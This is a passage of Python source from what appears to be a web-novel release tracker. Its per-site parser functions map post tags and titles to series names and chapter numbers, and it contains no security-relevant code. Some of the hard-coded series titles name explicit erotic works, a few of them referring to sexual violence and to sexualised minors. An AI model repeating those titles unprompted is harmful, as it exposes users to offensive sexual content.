	if 'five way heaven' in ltags:
		return buildReleaseMessage(item, 'Five Way Heaven', vol, chp, frag=frag, postfix=postfix)
	if 'because i’m a weapon shop uncle' in ltags or \
		'because im a weapon shop uncle' in item['title'].lower().replace("’", "").replace("'", "") or \
		'because im a weapons shop uncle' in item['title'].lower().replace("’", "").replace("'", ""):
		return buildReleaseMessage(item, 'Because I\'m a Weapon Shop Uncle', vol, chp, frag=frag, postfix=postfix)
	if 'maken no daydreamer' in ltags:
		return buildReleaseMessage(item, 'Maken no Daydreamer', vol, chp, frag=frag, postfix=postfix)
	if 'magic robot aluminare' in ltags:
		return buildReleaseMessage(item, 'Magic Robot Aluminare', vol, chp, frag=frag, postfix=postfix)
	if  'it seems like i got reincarnated into the world of a yandere otome game.' in ltags:
		return buildReleaseMessage(item,  'It seems like I got reincarnated into the world of a Yandere Otome game.', vol, chp, frag=frag, postfix=postfix)
	if 'kuro no maou' in ltags:
		return buildReleaseMessage(item, 'Kuro no Maou', vol, chp, frag=frag, postfix=postfix)
	if "what's your gender, princess?" in ltags:
		return buildReleaseMessage(item, "What's Your Gender, Princess?", vol, chp, frag=frag, postfix=postfix)
	if 'kumo desu ga, nani ka?' in ltags:
		return buildReleaseMessage(item, 'Kumo Desu ga, Nani ka?', vol, chp, frag=frag, postfix=postfix)
	if 'magic mechanics shuraba' in ltags:
		return buildReleaseMessage(item, 'Magic Mechanics Shuraba', vol, chp, frag=frag, postfix=postfix)
	if "shura's wrath" in ltags:
		return buildReleaseMessage(item, "Shura's Wrath", vol, chp, frag=frag, postfix=postfix)
	if 'i became an in-game npc' in ltags:
		return buildReleaseMessage(item, 'I Became an In-game NPC', vol, chp, frag=frag, postfix=postfix)
	if 'against the gods' in ltags:
		return buildReleaseMessage(item, 'Against The Gods', vol, chp, frag=frag, postfix=postfix)
	if 'b group no shounen' in ltags:
		return buildReleaseMessage(item, 'B Group no Shounen', vol, chp, frag=frag, postfix=postfix)
	if 'i reincarnated as a noble girl villainess, but why did it turn out this way' in ltags or \
		'i reincarnated as a noble girl villainess, but why did it turn out this way?' in ltags:
		return buildReleaseMessage(item, 'I Reincarnated as a Noble Girl Villainess, but why did it turn out this way', vol, chp, frag=frag, postfix=postfix)
	if 'slave career planner' in ltags or 'Slave Career Planner Volume' in item['title']:
		return buildReleaseMessage(item, 'Slave Career Planner', vol, chp, frag=frag, postfix=postfix)
	if 'the simple life of killing demons' in ltags:
		return buildReleaseMessage(item, 'The Simple Life of Killing Demons', vol, chp, frag=frag, postfix=postfix)
	if 'tensei shitara slime datta ken' in ltags:
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)
	if 'godly hunter' in ltags:
		return buildReleaseMessage(item, 'Godly Hunter', vol, chp, frag=frag, postfix=postfix)
	if 'kamigoroshi no eiyuu to nanatsu no seiyaku' in ltags:
		return buildReleaseMessage(item, 'Kamigoroshi no Eiyuu to Nanatsu no Seiyaku', vol, chp, frag=frag, postfix=postfix)
	if 'and so the girl obtained a wicked girl’s body' in ltags:
		return buildReleaseMessage(item, 'And so the Girl Obtained a Wicked Girl\'s Body', vol, chp, frag=frag, postfix=postfix)
	if 'shen mu' in ltags:
		return buildReleaseMessage(item, 'Shen Mu', vol, chp, frag=frag, postfix=postfix)
	if 'the demonic king chases his wife: the rebellious good-for-nothing miss' in ltags or \
		'dkc chapter'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'The Demonic King Chases His Wife: The Rebellious Good-for-nothing Miss', vol, chp, frag=frag, postfix=postfix)
	if 'the saint’s recovery magic is a degraded version of mine' in ltags:
		return buildReleaseMessage(item, 'The Saint’s Recovery Magic is a Degraded Version of Mine', vol, chp, frag=frag, postfix=postfix)
	if 'it seems like i got reincarnated into the world of a yandere otome game.' in ltags:
		return buildReleaseMessage(item, 'It seems like I got reincarnated into the world of a Yandere Otome game.', vol, chp, frag=frag, postfix=postfix)
	if 'Parallel World Pharmacy'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Parallel World Pharmacy', vol, chp, frag=frag, postfix=postfix)
	if 'no fatigue' in ltags:
		return buildReleaseMessage(item, 'No Fatigue', vol, chp, frag=frag, postfix=postfix)
	if 'i, am playing the role of the older brother in hearthrob love revolution' in ltags:
		return buildReleaseMessage(item, 'I, am Playing the Role of the Older Brother in Heart-throb Love Revolution.', vol, chp, frag=frag, postfix=postfix)
	if 'botsuraku youtei nanode, kajishokunin wo mezasu' in ltags:
		return buildReleaseMessage(item, 'Botsuraku Youtei Nanode, Kajishokunin wo Mezasu', vol, chp, frag=frag, postfix=postfix)

	if 'isekai maou to shoukan shoujo dorei majutsu' in ltags:
		return buildReleaseMessage(item, 'Isekai Maou to Shoukan Shoujo no Dorei Majutsu', vol, chp, frag=frag, postfix=postfix)
	if 'Wife is Outrageous: His Evil Highness Comes Knocking' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Wife is Outrageous: His Evil Highness Comes Knocking', vol, chp, frag=frag, postfix=postfix)
	if 'I Decided to Not Compete and Quietly Create Dolls Instead' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'I Decided to Not Compete and Quietly Create Dolls Instead', vol, chp, frag=frag, postfix=postfix)
	if 'heavenly star' in ltags:
		return buildReleaseMessage(item, 'Heavenly Star', vol, chp, frag=frag, postfix=postfix)
	if 'otherworld nation founding' in ltags:
		return buildReleaseMessage(item, 'Otherworld Nation Founding Chronicles', vol, chp, frag=frag, postfix=postfix)
	if 'cultivating to become a great celestial' in ltags:
		return buildReleaseMessage(item, 'Cultivating to Become a Great Celestial', vol, chp, frag=frag, postfix=postfix)
	if 'time' in ltags:
		return buildReleaseMessage(item, 'Time', vol, chp, frag=frag, postfix=postfix)

	if 'i’m a neet but when i went to hello work i got taken to another world' in item['tags']:
		return buildReleaseMessage(item, 'NEET dakedo Hello Work ni Ittara Isekai ni Tsuretekareta', vol, chp, frag=frag, postfix=postfix)
	if 'muimui-tan' in item['tags']:
		return buildReleaseMessage(item, 'Muimui-Tan', vol, chp, frag=frag, postfix=postfix)
	if 'Running Away From The Hero!' in item['tags']:
		return buildReleaseMessage(item, 'Running Away From The Hero!', vol, chp, frag=frag, postfix=postfix)
	if 'Rebirth of the Thief Who Roamed the World' in item['tags']:
		return buildReleaseMessage(item, 'Rebirth of the Thief Who Roamed the World', vol, chp, frag=frag, postfix=postfix)
	if 'Story of a Careless Demon' in item['tags']:
		return buildReleaseMessage(item, 'Story of a Careless Demon', vol, chp, frag=frag, postfix=postfix)
	if 'Black Bellied Prince’s Stunning Abandoned Consort' in item['tags']:
		return buildReleaseMessage(item, 'Black Bellied Prince’s Stunning Abandoned Consort', vol, chp, frag=frag, postfix=postfix)
	if 'Boundary Labyrinth and the Foreign Magician' in item['tags']:
		return buildReleaseMessage(item, 'Boundary Labyrinth and the Foreign Magician', vol, chp, frag=frag, postfix=postfix)
	if 'Dual Sword Liberator' in item['tags']:
		return buildReleaseMessage(item, 'Dual Sword Liberator', vol, chp, frag=frag, postfix=postfix)
	if 'Island: End of Nightmare' in item['tags']:
		return buildReleaseMessage(item, 'Island: End of Nightmare', vol, chp, frag=frag, postfix=postfix)
	if 'The Bears Bear a Bare Kuma' in item['tags']:
		return buildReleaseMessage(item, 'The Bears Bear a Bare Kuma', vol, chp, frag=frag, postfix=postfix)
	if 'Overseer' in item['tags']:
		return buildReleaseMessage(item, 'Overseer', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractLonahora(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if "Earth's Core" in item['tags'] and (chp and vol):
		return buildReleaseMessage(item, "Earth's Core", vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractLostInTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Third Prince Elmer' in item['tags']:
		return buildReleaseMessage(item,  'Third Prince Elmer', vol, chp, frag=frag, postfix=postfix)
	if 'Otoko Aruji' in item['tags']:
		return buildReleaseMessage(item,  'Otoko Aruji', vol, chp, frag=frag, postfix=postfix)
	if "Sword Saint's Disciple" in item['tags']:
		return buildReleaseMessage(item,  "Sword Saint's Disciple", vol, chp, frag=frag, postfix=postfix)
	if 'Doll Dungeon' in item['tags']:
		return buildReleaseMessage(item,  'Doll Dungeon', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractHoldX(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Shoya Kara Hajimeru Ai Aru Seikatsu' in item['tags']:
		return buildReleaseMessage(item, 'Shoya Kara Hajimeru Ai Aru Seikatsu', vol, chp, frag=frag, postfix=postfix)
	if 'Bishoujo wo Jouzu ni Nikubenki ni Suru Houhou' in item['tags']:
		return buildReleaseMessage(item, 'Bishoujo wo Jouzu ni Nikubenki ni Suru Houhou', vol, chp, frag=frag, postfix=postfix)
	if  'Riaru de Reberu Age Shitara Hobo Chītona Jinsei ni Natta' in item['tags']:
		return buildReleaseMessage(item,  'Riaru de Reberu Age Shitara Hobo Chītona Jinsei ni Natta', vol, chp, frag=frag, postfix=postfix)
	if 'Erogacha' in item['tags']:
		return buildReleaseMessage(item, 'Erogacha', vol, chp, frag=frag, postfix=postfix)
	if 'Ore no Sekai no Kouryakubon' in item['tags']:
		return buildReleaseMessage(item, 'Ore no Sekai no Kouryakubon', vol, chp, frag=frag, postfix=postfix)
	if 'Takarakuji de 40 oku Atatta Ndakedo i Sekai ni Ijū Suru' in item['tags']:
		return buildReleaseMessage(item, 'Takarakuji de 40 oku Atatta Ndakedo i Sekai ni Ijū Suru', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractLoiterous(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Loiterous' in item['tags'] and "chapter" in item['title'].lower():
		return buildReleaseMessage(item, 'Loiterous', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMechaMushroom(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'YaoNie Bing Wang (WSK)' in item['title'] or   \
		'Yao Nie Bing Wang (WSK)' in item['title'] or \
		'YNBW (WSK)' in item['title']:
		return buildReleaseMessage(item, 'Yao Nie Bing Wang', vol, chp, frag=frag, postfix=postfix)
	if 'Jiang Ye Chapter' in item['title']:
		return buildReleaseMessage(item, 'Jiang Ye Chapter', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNovelsNao(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].lower().strip().startswith('king shura, chapter'):
		return buildReleaseMessage(item, 'King Shura', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().strip().startswith('devouring the heavens chapter'):
		return buildReleaseMessage(item, 'Devouring the Heavens', vol, chp, frag=frag, postfix=postfix)
	if 'Martial God Space' in item['tags']:
		return buildReleaseMessage(item, 'Martial God Space', vol, chp, frag=frag, postfix=postfix)
	if 'Martial Peak' in item['tags']:
		return buildReleaseMessage(item, 'Martial Peak', vol, chp, frag=frag, postfix=postfix)
	if 'Mythical Tyrant' in item['tags']:
		return buildReleaseMessage(item, 'Mythical Tyrant', vol, chp, frag=frag, postfix=postfix)
	if 'Genius Sword Immortal' in item['tags']:
		return buildReleaseMessage(item, 'Genius Sword Immortal', vol, chp, frag=frag, postfix=postfix)
	if 'King Shura' in item['tags']:
		return buildReleaseMessage(item, 'King Shura', vol, chp, frag=frag, postfix=postfix)
	if 'Juvenile Medical God' in item['tags']:
		return buildReleaseMessage(item, 'Juvenile Medical God', vol, chp, frag=frag, postfix=postfix)
	if 'The Six Immortals' in item['tags']:
		return buildReleaseMessage(item, 'The Six Immortals', vol, chp, frag=frag, postfix=postfix)
	if 'Devouring The Heavens' in item['tags']:
		return buildReleaseMessage(item, 'Devouring The Heavens', vol, chp, frag=frag, postfix=postfix)
	if 'Dragon Martial Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Dragon Martial Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'Three Marriages' in item['tags']:
		return buildReleaseMessage(item, 'Three Marriages', vol, chp, frag=frag, postfix=postfix)
	if 'I Fell and Thus I Must Rise Again!' in item['tags']:
		return buildReleaseMessage(item, 'I Fell and Thus I Must Rise Again!', vol, chp, frag=frag, postfix=postfix)
	if 'Ascending the Heavens' in item['tags']:
		return buildReleaseMessage(item, 'Ascending the Heavens', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Unseeing Eyes' in item['tags']:
		return buildReleaseMessage(item, 'The Unseeing Eyes', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Gemstone Chronicles' in item['tags']:
		return buildReleaseMessage(item, 'The Gemstone Chronicles', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Apocalypse Now' in item['tags']:
		return buildReleaseMessage(item, 'Apocalypse Now', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'God of Destruction' in item['tags']:
		return buildReleaseMessage(item, 'God of Destruction', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Song of Swords' in item['tags']:
		return buildReleaseMessage(item, 'The Song of Swords', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if "Dragon's Soul" in item['tags']:
		return buildReleaseMessage(item, "Dragon's Soul", vol, chp, frag=frag, postfix=postfix, tl_type='oel')


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMachineSlicedBread(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	# No guarantee we have chapter numbers here, unfortunately.

	if 'Charm TL' in item['tags']:
		return buildReleaseMessage(item, 'I made a slave harem using a charm cheat in a different world.', vol, chp, frag=frag, postfix=postfix)
	if 'Loli Manko TL' in item['tags']:
		return buildReleaseMessage(item, 'Kyonkon na Ore ga Rori ma●ko Bishoujo wo Okashite Kopitte, Ohime-sama wo Torimodosu Isekai Tan', vol, chp, frag=frag, postfix=postfix)
	if 'Cheatman TL' in item['tags']:
		return buildReleaseMessage(item, 'Joudan Mitaina Chiito Nouryouku de Isekai ni Tensei shi, Sukikatte suru Hanashi', vol, chp, frag=frag, postfix=postfix)
	if 'Zombie Emperor TL' in item['tags']:
		return buildReleaseMessage(item, 'The Bloodshot One-Eyed Zombie Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'Asuka TL' in item['tags']:
		return buildReleaseMessage(item, 'Asuka of the Scarlet Sky ~ The Female Hero who Degraded to a Licentious and Wicked Person~', vol, chp, frag=frag, postfix=postfix)
	if 'Flight, Invisibility, and Teleportation TL' in item['tags']:
		return buildReleaseMessage(item, 'If You Got the Power of Flight, Invisibility, and Teleportation, What Would You Do?', vol, chp, frag=frag, postfix=postfix)
	if 'Class TL' in item['tags']:
		return buildReleaseMessage(item, 'Dragged into the class transfer ~For some reason I was dragged into the transfer with the girl class so I will make a harem!~', vol, chp, frag=frag, postfix=postfix)
	if 'Kininaru TL' in item['tags']:
		return buildReleaseMessage(item, 'Kininaru Kanojo wo Tokoton Okashi Tsukusu Hanashi', vol, chp, frag=frag, postfix=postfix)
	if 'Grassland TL' in item['tags']:
		return buildReleaseMessage(item, 'Sougen no Okite ~Shii yatsu ga moteru, ii buzoku ni umarekawatta zo~', vol, chp, frag=frag, postfix=postfix)

	if 'Kemono TL' in item['tags']:
		return buildReleaseMessage(item, 'Flirting with beast girls! Doing nothing but copulation!', vol, chp, frag=frag, postfix=postfix)
	if 'Game World TL' in item['tags']:
		return buildReleaseMessage(item, 'After Reincarnating Into This Game World I Seemed to Have Taken Over the Control of Status', vol, chp, frag=frag, postfix=postfix)

	if 'Hero TL' in item['tags']:
		return buildReleaseMessage(item, 'Hero Manufacturing Machine ~A Job to Make Children~', vol, chp, frag=frag, postfix=postfix)
	if 'Inmajutsu TL' in item['tags']:
		return buildReleaseMessage(item, 'Ore ga Inmajutsu de Dorei Harem wo Tsukuru Hanashi', vol, chp, frag=frag, postfix=postfix)
	if 'Yandere TL' in item['tags']:
		return buildReleaseMessage(item, 'My elder sister fell in love with me and transformed into a yandere', vol, chp, frag=frag, postfix=postfix)
	if 'Semen TL' in item['tags']:
		return buildReleaseMessage(item, 'Curing Incurable Disease With Semen', vol, chp, frag=frag, postfix=postfix)
	if 'Xray TL' in item['tags']:
		return buildReleaseMessage(item, 'X-ray Is More Than I Thought', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNutty(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']:
		return buildReleaseMessage(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
	if 'A Mistaken Marriage Match' in item['tags'] and 'Record of Washed Grievances Chapter' in item['title']:
		return buildReleaseMessage(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractManaTankMagus(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Mana Tank Magus' in item['tags']:
		return buildReleaseMessage(item, 'Mana Tank Magus', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKamiTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# Most of Kami Translation's projects are manga. They only do one ln
	if 'Game Sensou' in item['tags']:
		return buildReleaseMessage(item, 'Boku to Kanojo no Game Sensou', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKobatoChanDaiSukiScan(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False


	# Return of `None` makes the "Missed item" filter system ignore the return.
	if 'Lookism' in item['tags'] or 'webtoon' in item['tags']:
		return None # No webcomics plz

	if 'Coder Lee YongHo' in item['tags'] :
		return buildReleaseMessage(item, 'Coder Lee YongHo', vol, chp, frag=frag, postfix=postfix)
	if'God of Cooking' in item['tags'] :
		return buildReleaseMessage(item, 'God of Cooking', vol, chp, frag=frag, postfix=postfix)
	if 'God of Crime' in item['tags'] :
		return buildReleaseMessage(item, 'God of Crime', vol, chp, frag=frag, postfix=postfix)
	if "The Overlord's Elite is now a Human?!" in item['tags'] :
		return buildReleaseMessage(item, "The Overlord's Elite is now a Human?!", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Bird That Drinks Tears' in item['tags'] :
		return buildReleaseMessage(item, 'The Bird That Drinks Tears', vol, chp, frag=frag, postfix=postfix)
	if 'Survival World RPG' in item['tags'] :
		return buildReleaseMessage(item, 'Survival World RPG', vol, chp, frag=frag, postfix=postfix)
	if 'Reincarnator' in item['tags'] :
		return buildReleaseMessage(item, 'Reincarnator', vol, chp, frag=frag, postfix=postfix)
	if 'Kenkyo kenjitsu o motto ni ikite orimasu!' in item['tags']:
		return buildReleaseMessage(item, 'Kenkyo, Kenjitsu o Motto ni Ikite Orimasu!', vol, chp, frag=frag, postfix=postfix)
	if 'God of Thunder' in item['tags']:
		return buildReleaseMessage(item, 'God of Thunder', vol, chp, frag=frag, postfix=postfix)

	if 'God of Music' in item['tags']:
		return buildReleaseMessage(item, 'God of Music', vol, chp, frag=frag, postfix=postfix)
	if 'I am the monarch' in item['tags']:
		return buildReleaseMessage(item, 'I am the Monarch', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKingJaahn(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, 'Divine Progress', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


####################################################################################################################################################
#
####################################################################################################################################################
def extractKoreanNovelTrans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag):
		return False

	if 'Novel: Kill the Lights' in item['tags'] :
		return buildReleaseMessage(item, 'Kill the Lights', vol, chp, frag=frag, postfix=postfix)
	if 'Novel: Black Butterfly' in item['tags'] :
		return buildReleaseMessage(item, 'Black Butterfly', vol, chp, frag=frag, postfix=postfix)
	if 'NL Novel: Our House Pet' in item['tags'] :
		return buildReleaseMessage(item, 'Our House Pet', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKahoim(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Soshite Shoujo wa Akujo no Karada o Te ni Ireru' in item['tags'] :
		return buildReleaseMessage(item, 'Soshite Shoujo wa Akujo no Karada o Te ni Ireru', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractHoldXandClick(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Bishoujo wo Jouzu ni Nikubenki ni Suru Houhou' in item['tags'] :
		return buildReleaseMessage(item, 'Bishoujo wo Jouzu ni Nikubenki ni Suru Houhou', vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKoreYoriHachidori(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Seiun wo kakeru'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Seiun wo Kakeru', vol, chp, frag=frag, postfix=postfix)
	if 'Ochitekita'.lower() in item['title'].lower() or 'Ochitekita Naga to Majo no Kuni' in item['tags']:
		return buildReleaseMessage(item, 'Ochitekita Naga to Majo no Kuni', vol, chp, frag=frag, postfix=postfix)
	if 'Humans are the Strongest Race' in item['tags']:
		return buildReleaseMessage(item, 'Humans are the Strongest Race ~Starting a Slow Life with an Elf Wife in a Different World~', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractIsekaiTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Tsuki ga Michibiku Isekai Douchuu' in item['tags']:
		return buildReleaseMessage(item, 'Tsuki ga Michibiku Isekai Douchuu', vol, chp, frag=frag, postfix=postfix)
	if 'Double Edge Hero' in item['tags']:
		return buildReleaseMessage(item, 'Double Edge Hero', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMakinaTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "I aim to be an adventurer with the jobclass of 'Jobless'" in item['tags']:
		return buildReleaseMessage(item, 'I Aim to Be an Adventurer with the Jobclass of "Jobless"', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractHaruPARTY(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Yuusha Party' in item['tags']:
		return buildReleaseMessage(item, 'Yuusha Party no Kawaii Ko ga Ita no de, Kokuhaku Shite', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNekoyashiki(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'rakudai kishi no eiyuutan' in item['tags']:
		return buildReleaseMessage(item, 'Rakudai Kishi no Eiyuutan', vol, chp, frag=frag, postfix=postfix)

	if 'Ore no Pet was Seijo-sama' in item['tags'] or 'Ore no Pet wa Seijo-sama' in item['tags']:
		return buildReleaseMessage(item, 'Ore no Pet was Seijo-sama', vol, chp, frag=frag, postfix=postfix)
	if 'M-chan wars' in item['tags']:
		return buildReleaseMessage(item, 'M-chan Wars: Rise and Fall of the Cat Tyrant', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Etranger of the Sky' in item['tags'] or 'Tenkyuu no Etranger' in item['tags']:
		return buildReleaseMessage(item, 'Spear of Thunder – Etranger of the Sky', vol, chp, frag=frag, postfix=postfix)
	if 'Yamato Nadeshiko' in item['tags']:
		return buildReleaseMessage(item, 'Yamato Nadeshiko, Koibana no Gotoku', vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractKonobuta(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Ryouriban' in item['title']:
		return buildReleaseMessage(item, 'The Cook of the Mercenary Corp', vol, chp, frag=frag, postfix=postfix)
	if 'UchiMusume' in item['title']:
		return buildReleaseMessage(item, 'For my daughter, I might even be able to defeat the demon king', vol, chp, frag=frag, postfix=postfix)

	return False

def extractLasciviousImouto(item):
	'''

	'''
	# Convert "-" to "." so partial chapters like 'Chapter 02-31' convert to 02.31, and the
	# fragment works correctly.
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'].replace("-", "."))
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Beast of the 17th District' in item['tags'] or "the beast of the 17th district" in item['title'].lower():
		return buildReleaseMessage(item, 'The Beast of the 17th District', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Le Festin de Vampire' in item['tags']:
		return buildReleaseMessage(item, 'Le Festin de Vampire', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNanjamora(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Endless Dantian' in item['tags']:
		return buildReleaseMessage(item, 'Endless Dantian', vol, chp, frag=frag, postfix=postfix)
	if 'Infinite Temptation' in item['tags']:
		return buildReleaseMessage(item, 'Infinite Temptation', vol, chp, frag=frag, postfix=postfix)
	if 'wushang jinshia' in item['tags']:
		return buildReleaseMessage(item, 'Wu Shang Jin Shia', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractNooblate(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# Siiiiiigh. Plz spellcheck at least your title.
	if     'Kujibiki Tokushou : Musou Harem Ken' in item['title'] \
		or 'Kujibiku Tokushou : Musou Harem Ken' in item['title'] \
		or 'Kujibiki Tokushou: Musou Hāremu ken' in item['title'] \
		or 'Kujibiki Tokushou: Musou Harem Ken' in item['title'] \
		or 'Kujibiji Tokushou : Musou Harem Ken' in item['title']:
		return buildReleaseMessage(item, "Kujibiki Tokushou : Musou Harem Ken", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMadaoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'My Death Flags Show No Sign of Ending' in item['tags']:
		# These chapters are numbered "part n episode m"
		# Therefore, swap m,n
		chp, frag = frag, chp
		return buildReleaseMessage(item, 'Ore no Shibou Flag ga Todomaru Tokoro wo Shiranai', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMonkTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Battle Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Battle Emperor', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractMorrighanSucks(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Unlimited Anime Works' in item['title']:
		return buildReleaseMessage(item, 'Unlimited Anime Works', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractLunaris(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'World of Hidden Phoenix' in item['tags']:
		return buildReleaseMessage(item, 'World of Hidden Phoenix', vol, chp, frag=frag, postfix=postfix)

